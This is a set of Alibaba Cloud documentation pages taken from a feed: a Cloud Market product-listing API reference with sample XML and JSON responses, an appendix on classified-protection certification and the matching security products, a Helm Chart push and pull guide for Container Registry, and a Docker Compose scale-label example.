      https://market.aliyuncs.com/?Action=DescribeProducts
      &PageNumber=1
      &PageSize=10
      &Filter.1.Key=categoryId
      &Filter.1.Value=53366009
      &SearchTerm=镜像
      &<公共请求参数>

      正常返回示例

      XML 格式

      <DescribeProductsResponse>
        <pageNumber>1</pageNumber>
        <pageSize>10</pageSize>
        <productItems>
              <categoryId>53398003</categoryId>
              <code>PHP多版本环境(Windows2012 | phpStudy)</code>
              <code1>PHP多版本环境(Windows2012 | phpStudy)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7549/767d6d07-8366-4822-b84e-61f6ea10d146.png</imageUrl>
              <operationSystem>Windows2008 R2 企业版 64位</operationSystem>
              <score>5.0</score>
              <shortDescription>由Websof9提供的phpStudy镜像是一个预安装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。phpStudy是一个PHP环境集成包,支持php5.2到7.0多个版本切换,同时支持Apache,Nginx,IIS ...</shortDescription>
              <suggestedPrice>10元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>企业,上云,Windows,Windows server 2012,Apache,Nginx,Windows面板</tags>
        </productItems>
        <productItems>
              <categoryId>56014009</categoryId>
              <code>Pydio 开源在线文件管理系统(构建企业网盘和云存储系统)</code>
              <code1>Pydio 开源在线文件管理系统(构建企业网盘和云存储系统)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7049/47bde5de-8610-439f-a160-1eb34aec5505.png</imageUrl>
              <operationSystem>CentOS7.0 64位</operationSystem>
              <score>5.0</score>
              <shortDescription>由Websof9提供的Pydio镜像是一个预安装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。Pydio是功能强大在线文件管理系统(ECM),用于构建自托管的企业网盘和云存储系统,支持多用户的文档协作、分享、设备同步。 ...</shortDescription>
              <suggestedPrice>10元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>企业,应用开发,Linux,Centos,PHP,LAMP</tags>
        </productItems>
        <productItems>
              <categoryId>53616009</categoryId>
              <code>Joomla! 内容管理系统( WAMP )</code>
              <code1>Joomla! 内容管理系统( WAMP )</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/5280/fab724de-da66-4548-9717-1a1d3ac6f887.png</imageUrl>
              <operationSystem>Windows2008 64位 标准版</operationSystem>
              <score>5.0</score>
              <shortDescription>由Websof9提供的Joomla3.7.5预装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。Joomla是全球三大开源内容管理系统之一(CMS),比肩WordPress和Drupal,占据全球5%的建站市场。 ...</shortDescription>
              <suggestedPrice>10元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>开发者,建站,Windows,Windows server 2008,PHP,WAMP,Joomla!</tags>
        </productItems>
        <productItems>
              <categoryId>53690006</categoryId>
              <code>Ubuntu 16.04 64位(含Webmin中文)</code>
              <code1>Ubuntu 16.04 64位(含Webmin中文)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/4613/57259fc6-7086-42b8-9619-f688fd3eb310.png</imageUrl>
              <score>5.0</score>
              <shortDescription>由Websoft9提供Ubuntu 16.04+Webmin1.881(中文)镜像,可以一键安装到&lt;em&gt;ECS&lt;/em&gt;。Webmin是知名的Linux可视化面板管理工具,100%免费开源,可轻松管理文件、配置域名、修改配置文件、备份数据等 ...</shortDescription>
              <suggestedPrice>10元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>站长,上云,Linux,Centos,LAMP,Webmin,Linux面板</tags>
        </productItems>
        <productItems>
              <categoryId>53616009</categoryId>
              <code>云·企业官网尊贵版(ECS)</code>
              <code1>云·企业官网尊贵版(ECS)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://photogallery.oss.aliyuncs.com/photo/1984723351411381/22286/727fc507-37b5-4b91-b706-8bbc2a765a88.jpg</imageUrl>
              <operationSystem>windows</operationSystem>
              <score>5.0</score>
              <shortDescription>【定制建站一条龙服务+阿里云独享服务器】由客户经理与设计师提供一对一服务,应用标准化全自动服务流程体系,帮助企业轻松拥有官方网站。该建站产品与&lt;em&gt;ECS&lt;/em&gt;下单时同时购买,&lt;em&gt;ECS&lt;/em&gt;最低配置1核1G即可。购买须知:请在购买&lt;em&gt;ECS&lt;/em&gt;配置安全组时选择HTTP:80端口 ...</shortDescription>
              <suggestedPrice>998元/月</suggestedPrice>
              <supplierId>3587828</supplierId>
              <supplierName>云梦-云市场自营店</supplierName>
              <tags>企业,建站</tags>
        </productItems>
        <productItems>
              <categoryId>56014009</categoryId>
              <code>Zurmo 开源CRM系统(LAMP)</code>
              <code1>Zurmo 开源CRM系统(LAMP)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7716/6b100770-1f15-43c6-b99f-9b6c53c89e2d.png</imageUrl>
              <operationSystem>CentOS7.4 64位</operationSystem>
              <score>5.0</score>
              <shortDescription>由Websof9提供的Zurmo镜像是一个预安装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。Zurmo是一个开源的客户关系管理系统(CRM),使用Yii框架、RedBeanPHP和Jquery实现,界面美观,功能全面 ...</shortDescription>
              <suggestedPrice>20元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>企业,上云,Linux,Centos,PHP,LAMP,ERP</tags>
        </productItems>
        <productItems>
              <categoryId>56014009</categoryId>
              <code>SuiteCRM,优质开源CRM</code>
              <code1>SuiteCRM,优质开源CRM</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7760/0db05f1e-aa8a-490d-b8eb-093c43d93f7d.png</imageUrl>
              <operationSystem>CentOS7.3 64位</operationSystem>
              <score>5.0</score>
              <shortDescription>由Websof9提供的EspoCRM预装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。SuiteCRM是一个国际上屡获殊荣的企业级的、强大的、可定制的,免费的CRM系统。 ...</shortDescription>
              <suggestedPrice>20元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>企业,移动营销,Linux,Centos,PHP,LAMP,ERP</tags>
        </productItems>
        <productItems>
              <categoryId>55528001</categoryId>
              <code>Node.JS6 运行环境(Windows2008 | Nginx | Express)</code>
              <code1>Node.JS6 运行环境(Windows2008 | Nginx | Express)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://photogallery.oss.aliyuncs.com/photo/1904996544835414/7573/e03da499-c7e9-4784-867f-8789539e6a82.png</imageUrl>
              <score>5.0</score>
              <shortDescription>Websoft9提供Node.JS镜像,预装了NodeJS 6.14,PM2 2.10,Express框架,Yarn1.7,MySQL5.6,MongoDB4.0,Nginx1.14,任何&lt;em&gt;ECS&lt;/em&gt;用户可以一键获取,用于快速部署Node.JS应用程序。 ...</shortDescription>
              <suggestedPrice>0元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>企业,上云,Windows,Windows server 2008,Node.js,Nginx,MySQL</tags>
        </productItems>
        <productItems>
              <categoryId>56014009</categoryId>
              <code>ERPNext 中小企业开源ERP系统(Ubuntu16.04)</code>
              <code1>ERPNext 中小企业开源ERP系统(Ubuntu16.04)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7259/cdee958f-bcfa-4362-ad2f-543e01140e60.png</imageUrl>
              <score>5.0</score>
              <shortDescription>由Websof9提供的Vtiger CRM预装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。ERPNext是全球化的开源ERP系统,使用Python语言开发,支持70+种语言,拥有150+国家的用户。界面友好,入门简单,包括:财务、采购、销售和库存管理、POS系统、制造管理、资产管理等功能。 ...</shortDescription>
              <suggestedPrice>10元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>企业,上云,Linux,Ubuntu,Python,ERP</tags>
        </productItems>
        <productItems>
              <categoryId>55530001</categoryId>
              <code>Gitlab-CE10.1.0 代码托管系统(Ubuntu16)</code>
              <code1>Gitlab-CE10.1.0 代码托管系统(Ubuntu16)</code1>
              <deliveryWay>镜像</deliveryWay>
              <imageUrl>https://oss.aliyuncs.com/photogallery/photo/1904996544835414/17080/cd8053ae-2666-4716-9e4d-1b754f24fbc2.png</imageUrl>
              <operationSystem>Ubuntu16.04 64位</operationSystem>
              <score>5.0</score>
              <shortDescription>由Websof9提供的Omnibus Gitlab镜像是一个预安装环境,可在&lt;em&gt;ECS&lt;/em&gt;上一键安装。Gitlab是一个开源的Git代码仓库系统,用于构建私有代码托管平台,基于Rails开发,速度快、安全稳定 ...</shortDescription>
              <suggestedPrice>10元/月</suggestedPrice>
              <supplierId>228399</supplierId>
              <supplierName>长沙网久软件有限公司</supplierName>
              <tags>开发者,应用开发,Linux,Ubuntu,Ruby,Nginx,PostgreSQL</tags>
        </productItems>
        <requestId>5A85CB8D-EF2F-46DA-91E2-8AF75900F1BF</requestId>
        <totalCount>75</totalCount>
      </DescribeProductsResponse>

      JSON 格式

      {
          "pageNumber":1,
          "pageSize":10,
          "productItems":[
              {
                  "categoryId":53398003,
                  "code":"PHP多版本环境(Windows2012 | phpStudy)",
                  "code1":"PHP多版本环境(Windows2012 | phpStudy)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7549/767d6d07-8366-4822-b84e-61f6ea10d146.png",
                  "operationSystem":"Windows2008 R2 企业版 64位",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的phpStudy镜像是一个预安装环境,可在<em>ECS</em>上一键安装。phpStudy是一个PHP环境集成包,支持php5.2到7.0多个版本切换,同时支持Apache,Nginx,IIS ...",
                  "suggestedPrice":"10元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"企业,上云,Windows,Windows server 2012,Apache,Nginx,Windows面板"
                  },
              {
                  "categoryId":56014009,
                  "code":"Pydio 开源在线文件管理系统(构建企业网盘和云存储系统)",
                  "code1":"Pydio 开源在线文件管理系统(构建企业网盘和云存储系统)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7049/47bde5de-8610-439f-a160-1eb34aec5505.png",
                  "operationSystem":"CentOS7.0 64位",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的Pydio镜像是一个预安装环境,可在<em>ECS</em>上一键安装。Pydio是功能强大在线文件管理系统(ECM),用于构建自托管的企业网盘和云存储系统,支持多用户的文档协作、分享、设备同步。 ...",
                  "suggestedPrice":"10元/月",
                  "supplierId":228399,"supplierName":"长沙网久软件有限公司",
                  "tags":"企业,应用开发,Linux,Centos,PHP,LAMP"
                  },
              {
                  "categoryId":53616009,
                  "code":"Joomla! 内容管理系统( WAMP )",
                  "code1":"Joomla! 内容管理系统( WAMP )",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/5280/fab724de-da66-4548-9717-1a1d3ac6f887.png",
                  "operationSystem":"Windows2008 64位 标准版",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的Joomla3.7.5预装环境,可在<em>ECS</em>上一键安装。Joomla是全球三大开源内容管理系统之一(CMS),比肩WordPress和Drupal,占据全球5%的建站市场。 ...",
                  "suggestedPrice":"10元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"开发者,建站,Windows,Windows server 2008,PHP,WAMP,Joomla!"
                  },
              {
                  "categoryId":53690006,
                  "code":"Ubuntu 16.04 64位(含Webmin中文)",
                  "code1":"Ubuntu 16.04 64位(含Webmin中文)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/4613/57259fc6-7086-42b8-9619-f688fd3eb310.png",
                  "score":"5.0",
                  "shortDescription":"由Websoft9提供Ubuntu 16.04+Webmin1.881(中文)镜像,可以一键安装到<em>ECS</em>。Webmin是知名的Linux可视化面板管理工具,100%免费开源,可轻松管理文件、配置域名、修改配置文件、备份数据等 ...",
                  "suggestedPrice":"10元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"站长,上云,Linux,Centos,LAMP,Webmin,Linux面板"
                  },
              {
                  "categoryId":53616009,
                  "code":"云·企业官网尊贵版(ECS)",
                  "code1":"云·企业官网尊贵版(ECS)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://photogallery.oss.aliyuncs.com/photo/1984723351411381/22286/727fc507-37b5-4b91-b706-8bbc2a765a88.jpg",
                  "operationSystem":"windows",
                  "score":"5.0",
                  "shortDescription":"【定制建站一条龙服务+阿里云独享服务器】由客户经理与设计师提供一对一服务,应用标准化全自动服务流程体系,帮助企业轻松拥有官方网站。该建站产品与<em>ECS</em>下单时同时购买,<em>ECS</em>最低配置1核1G即可。购买须知:请在购买<em>ECS</em>配置安全组时选择HTTP:80端口 ...",
                  "suggestedPrice":"998元/月",
                  "supplierId":3587828,
                  "supplierName":"云梦-云市场自营店",
                  "tags":"企业,建站"
                  },
              {
                  "categoryId":56014009,
                  "code":"Zurmo 开源CRM系统(LAMP)",
                  "code1":"Zurmo 开源CRM系统(LAMP)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7716/6b100770-1f15-43c6-b99f-9b6c53c89e2d.png",
                  "operationSystem":"CentOS7.4 64位",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的Zurmo镜像是一个预安装环境,可在<em>ECS</em>上一键安装。Zurmo是一个开源的客户关系管理系统(CRM),使用Yii框架、RedBeanPHP和Jquery实现,界面美观,功能全面 ...",
                  "suggestedPrice":"20元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"企业,上云,Linux,Centos,PHP,LAMP,ERP"
                  },
              {
                  "categoryId":56014009,
                  "code":"SuiteCRM,优质开源CRM",
                  "code1":"SuiteCRM,优质开源CRM",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7760/0db05f1e-aa8a-490d-b8eb-093c43d93f7d.png",
                  "operationSystem":"CentOS7.3 64位",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的EspoCRM预装环境,可在<em>ECS</em>上一键安装。SuiteCRM是一个国际上屡获殊荣的企业级的、强大的、可定制的,免费的CRM系统。 ...",
                  "suggestedPrice":"20元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"企业,移动营销,Linux,Centos,PHP,LAMP,ERP"
                  },
              {
                  "categoryId":55528001,
                  "code":"Node.JS6 运行环境(Windows2008 | Nginx | Express)",
                  "code1":"Node.JS6 运行环境(Windows2008 | Nginx | Express)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://photogallery.oss.aliyuncs.com/photo/1904996544835414/7573/e03da499-c7e9-4784-867f-8789539e6a82.png",
                  "score":"5.0",
                  "shortDescription":"Websoft9提供Node.JS镜像,预装了NodeJS 6.14,PM2 2.10,Express框架,Yarn1.7,MySQL5.6,MongoDB4.0,Nginx1.14,任何<em>ECS</em>用户可以一键获取,用于快速部署Node.JS应用程序。 ...",
                  "suggestedPrice":"0元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"企业,上云,Windows,Windows server 2008,Node.js,Nginx,MySQL"
                  },
              {
                  "categoryId":56014009,
                  "code":"ERPNext 中小企业开源ERP系统(Ubuntu16.04)",
                  "code1":"ERPNext 中小企业开源ERP系统(Ubuntu16.04)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7259/cdee958f-bcfa-4362-ad2f-543e01140e60.png",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的Vtiger CRM预装环境,可在<em>ECS</em>上一键安装。ERPNext是全球化的开源ERP系统,使用Python语言开发,支持70+种语言,拥有150+国家的用户。界面友好,入门简单,包括:财务、采购、销售和库存管理、POS系统、制造管理、资产管理等功能。 ...",
                  "suggestedPrice":"10元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"企业,上云,Linux,Ubuntu,Python,ERP"
                  },
              {
                  "categoryId":55530001,
                  "code":"Gitlab-CE10.1.0 代码托管系统(Ubuntu16)",
                  "code1":"Gitlab-CE10.1.0 代码托管系统(Ubuntu16)",
                  "deliveryWay":"镜像",
                  "imageUrl":"https://oss.aliyuncs.com/photogallery/photo/1904996544835414/17080/cd8053ae-2666-4716-9e4d-1b754f24fbc2.png",
                  "operationSystem":"Ubuntu16.04 64位",
                  "score":"5.0",
                  "shortDescription":"由Websof9提供的Omnibus Gitlab镜像是一个预安装环境,可在<em>ECS</em>上一键安装。Gitlab是一个开源的Git代码仓库系统,用于构建私有代码托管平台,基于Rails开发,速度快、安全稳定 ...",
                  "suggestedPrice":"10元/月",
                  "supplierId":228399,
                  "supplierName":"长沙网久软件有限公司",
                  "tags":"开发者,应用开发,Linux,Ubuntu,Ruby,Nginx,PostgreSQL"
                  }
              ],
              "requestId":"5A85CB8D-EF2F-46DA-91E2-8AF75900F1BF",
              "totalCount":75
      }

      错误码

      HttpCode 错误码 错误信息 描述
      500 UnknownError An error occurred while processing your request. 未知错误
      500 Invalid.CategoryId The specified CategoryId is invalid. CategoryId 参数错误
      500 Invalid.Sort The specified Sort is invalid. Sort 参数错误
      500 Invalid.Param The specified Filter key is invalid. 不支持的 Filter key 参数

      访问错误中心查看更多错误码。

      上一篇:DescribePrice

      下一篇:DescribeProduct

      相关文档

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      附录 3 阿里云等保现状及安全资质_等保合规安全解决方案_安全解决方案_通用解决方案-阿里云 Fri, 02 May 2025 09:39:04 +0800 附录 3 阿里云等保现状及安全资质

      更新时间:2019-10-24 09:58:38

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      阿里云公共平台已完成等保三级认证,阿里金融云已完成等保四级安全认证。

      阿里云等保现状

      2016年9月,阿里云通过新的云计算安全等级保护三级要求的测评,是国内首个通过国家权威机构依据云等保要求联合测评的公共云服务平台。

      按照新的云等保要求和监管部门的意见,在具体的云上应用等级保护合规和测评中,涉及阿里云平台侧的相关要求不再进行单独测评,可以直接引用阿里云平台的测评结论

      阿里云将提供以下材料,协助租户云上系统通过等保测评:

      • 阿里云等保备案证明
      • 阿里云测评报告封面及结论页
      • 阿里云安全产品销售许可证(公安部)

      图 1. 阿里公共云平台三级等保认证

      图 2. 阿里金融云四级等保认证

      阿里云安全产品

      阿里云利用云盾、云防火墙和其他安全生态产品,可以提供完整的安全技术解决方案,相关的阿里云安全产品及其满足的等保要求如下。
      领域 安全产品 功能简介 合规对应要求
      网络和通信安全 VPC 阿里云专有网络,可以实现VLAN级隔离,并自定义IP地址分配(可选)。 满足等保要求中的网络架构、边界防护和访问控制等要求。
      DDoS高防 提供网络链路可用性保证,提升DDoS防护阈值,提升业务连续性(必选)。 满足等保网络安全中访问控制和机构安全的要求,20G以上防护。
      云防火墙 相比于传统防火墙以及安全组策略,云防火墙可以基于业务可视化、实现业务分区/分组,管理员可以清晰的甄别合法访问和非法访问,从而执行安全隔离和访问控制策略(必选)。 满足等保要求中的边界防护和访问控制等要求。
      Web应用防火墙 可防护应用攻击、CC攻击等,可根据网站实际防护场景需求实现精准防护,多种防护算法结合防御,实现业务风控,并可快速更新漏洞补丁,保障您的网站业务不被侵害受损(必选)。 满足行业自身的安全需求且满足等保要求中的入侵防范等要求。
      态势感知
      • 实时全球访问流量监控。
      • 实时监控整体安全。
      • 云上服务器全端口扫描、应用漏洞扫描、0day漏洞扫描、CMS漏洞扫描。
      • 服务器、数据库和应用后台弱口令探测。
      • 通过大数据分析的方法发现隐藏的入侵安全事件,并回溯入侵点。
      • 黑客恶意行为回放,对黑客入侵后的操作行为进行取证和记录。
      • 高级威胁检测,如:定点web攻击,针对性ECS密码爆破。
      • 利用社会工程学,对撞库攻击进行识别,保证业务账号安全。
      • 利用全网威胁情报对异常登录事件、非常用IP连接数据库进行识别。
      • 拖库行为发现,对数据库的异常下载进行告警。
      (必选)
      满足等保要求中安全审计和集中管控的要求。
      云堡垒机 实现云上服务器的操作运维审计和账号权限管理。支持100资产和100会话。 满足等保要求中身份鉴别、访问控制和安全审计等要求。
      设备和计算安全 安骑士
      • 跨平台支持配置四层(tcp、udp)七层(http)的自定义访问策略。
      • 共享云盾恶意IP库,实时拦截全网威胁访问源。
      • 全流量日志审计,秒级发现非法访问、主动外连等行为。
      • 扫描第三方应用(wordpress、discuz等)及windows系统漏洞信息。
      • 网站后门文件(webshell)检测及隔离。
      • 恶意进程检测及病毒、木马查杀。
      • SSH、RDP登录日志审计,异地登录提醒。
      • 对暴力破解密码的行为进行拦截。
      • 对服务器常见系统配置缺陷进行检测,包括可疑系统账户、弱口令、注册表等进行检测。

      满足等保要求中关于入侵防范和恶意代码防范的要求。

      数据库审 数据库审计,同时支持RDS云数据库、ECS自建数据库,符合等级保护二级标准,帮助用户满足合规性要求,支持3个数据库(RDS)实例。(必选)

      满足等保要求中安全审计的要求。

      应用与数据安全 数据加密 加密服务基于国家密码局认证的硬件加密机,提供了云上数据加解密解决方案,用户能够对密钥进行安全可靠的管理,也能使用多种加密算法来对云上业务的数据进行可靠的加解密运算。

      满足等保中对于数据保密性要求。

      SSL证书服务 为HTTP网站提供转向HTTPS,加密应用层数据(必选)。 Globalsign通配符域名证书,满足等保要求中数据完整性和数据保密性的要求。
      安全运维管理 漏洞扫描系统 满足等保要求中关于及时发现漏洞和进行漏洞升级要求(必选)。 定期进行全网络的扫描,及时发现各种漏洞包括主机、网络和应用漏洞,以便进行系统加固。

      更多信息

      上一篇:附录 2 等级保护简介

      下一篇:背景信息

      相关文档

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      Helm Chart_容器镜像服务企业版_用户指南_容器镜像服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 Helm Chart

      更新时间:2020-04-02 11:25:17

      本页目录

      通过容器镜像服务企业版的 Helm Chart 功能,您可以高效便捷地托管和分发 Kubernetes 集群内的各种资源。在安装并配置 Helm Chart 客户端和配置企业版实例之后,您才可以推送和拉取 Chart。

      背景信息

      Kubernetes 提供了统一模式的 API,能以 YAML 格式的文件定义 Kubernetes 集群内的资源。这些资源的种类繁多,例如无状态应用的部署 Deployment、有状态应用的部署 StatefulSet、配置项 ConfigMap 等。

      在这个基于 YAML 文件的软件交付体系不断完善过程中,云原生社区衍生了一个更高维度的概念及其实现工具,即 Chart 和 Helm。

      • Chart 是一系列 Kubernetes 集群内资源描述文件的组合,一个 Chart 可以是一个 WordPress 和 MySQL 的组合,也可以是一个 etcd 集群的组合。
      • Helm 是一个命令行程序,用于管理这些 Chart,以及其运行态 Release。

      容器镜像服务企业版支持 v2 版本的 Chart 安全托管,帮助您在云上便捷管理云原生资产。在企业版实例概览页开启 Charts 组件,待组件状态变为运行中,即可开始托管 Chart 类型仓库。

      开启Chart

      安装并配置客户端

      1. 从官方下载需要的Helm Chart版本

        说明 请确保客户端为 v2 及以上版本,建议使用 v2.14.2 版本。可以通过执行 helm version -c 命令查看客户端版本。

        # 解压缩
        tar -zxvf helm-v2.14.2-linux-amd64.tgz
        # 移动至指定位置
        mv linux-amd64/helm /usr/local/bin/helm                    
      2. 安装 Helm 插件。

        说明 在安装 Helm 插件前,需要预先安装 git。

        # 安装 Helm 插件,请注意预先安装 git
        helm plugin install https://github.com/AliyunContainerService/helm-acr
        # 初始化
        # 1. 如果你当前在容器服务集群节点上,默认已经有初始化完成的 tiller ,只需要初始化 client。可以使用 skip-refresh 命令避免访问 google Chart 源:
        helm init --client-only --skip-refresh
        # 2. 如果你当前在自建的 Kubernetes 集群节点上,并且希望避免访问 google Chart 源,可以使用以下命令:
        helm init --skip-refresh                    

      配置企业版实例

      1. 配置访问凭证

        在企业版实例管理的访问凭证页面,通过设置固定密码或者临时密码作为访问凭证的密码,控制台右侧获取访问凭证的账号名。这对账号名与密码将作为后续 Helm Chart 的访问凭证。

        获取凭证
      2. 配置访问控制策略

        在企业版实例管理的访问控制页面,可以打开公网访问或者添加指定 VPC 打开专有网络访问,保证后续 Helm Chart 的上传。

        添加VPC打开公网访问入口
      3. 配置访问格式

        在命名空间 namespace 下,创建一个 Chart 仓库 repository,如下图所示:配置访问格式

        当命名空间开启了自动创建仓库功能后,无需提前在界面创建 Chart 仓库,可直接在终端 Helm Push Chart 仓库。

        企业版中 Chart 仓库的格式为 <实例名称>-chart.<Region ID>.cr.aliyuncs.com/<命名空间>/<Chart 仓库名>,Chart 仓库的版本为<Chart 名称>-<版本号>

      4. 配置本地仓库映射

        需要指定一个本地仓库名称,映射到线上的某一个命名空间下的某一个 Chart 仓库。

        export HELM_REPO_USERNAME='<企业版实例访问凭证中账号>';
        export HELM_REPO_PASSWORD='<企业版实例访问凭证中密码>';
        helm repo add <本地仓库名称> acr://<实例名称>-chart.<Region ID>.cr.aliyuncs.com/<命名空间>/<Chart 仓库> --username ${HELM_REPO_USERNAME} --password ${HELM_REPO_PASSWORD}            
        配置本地仓库映射

      推送 Chart

      # 本地创建一个 Chart
      helm create <Chart 名称>
      
      # 推送 Chart 目录
      helm push <Chart 名称> <本地仓库名称>
      
      # 或者推送 Chart 压缩包
      helm push <Chart 名称>-<Chart 版本>.tgz <本地仓库名称>            
      推送chart

      返回企业版实例控制台,可以看到 Chart 仓库新增一个版本,如下图所示:

      版本列表

      拉取 Chart

      # 从线上 Chart 仓库更新本地 Chart 索引
      helm repo update
      
      # 拉取 Chart
      helm fetch <本地仓库名称>/<Chart 名称> --version <Chart 版本>
      
      # 或者直接安装 Chart
      helm install -f values.yaml <本地仓库名称>/<Chart 名称> --version <Chart 版本>            

      上一篇:配置使用自定义 OSS Bucket 时的 RAM 访问控制

      下一篇:P2P 加速功能

      相关文档

      相关产品

      • 容器镜像服务

        容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

      • 容器服务(已停止服务)

        容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

      • 容器服务Kubernetes版

        容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      scale_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 scale

      更新时间:2019-01-23 00:37:25

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      设置该服务的容器数量,横向扩展服务。

      目前,Docker Compose 只能在每一个服务中启动一个容器,如果需要扩展容器数量,需要在启动后手动进行设置。

      现在通过scale的扩展标签,支持您在容器启动的时候进行扩展。

      此外,在容器被删除之后,您可以在容器服务管理控制台对应用进行重新部署(单击左侧导航栏中的应用,选择目标应用并单击右侧的重新部署),容器服务会重启或新建容器使容器恢复到指定数量。

      示例:

      web:
        image: wordpress:4.2
        ports:
          - 80
        links:
          - db:mysql
        labels:
          aliyun.scale: "3"
      db:
        image: mysql
        environment:
          - MYSQL_ROOT_PASSWORD=password

      上一篇:depends

      下一篇:routing

      相关文档

      相关产品

      • 容器服务(已停止服务)

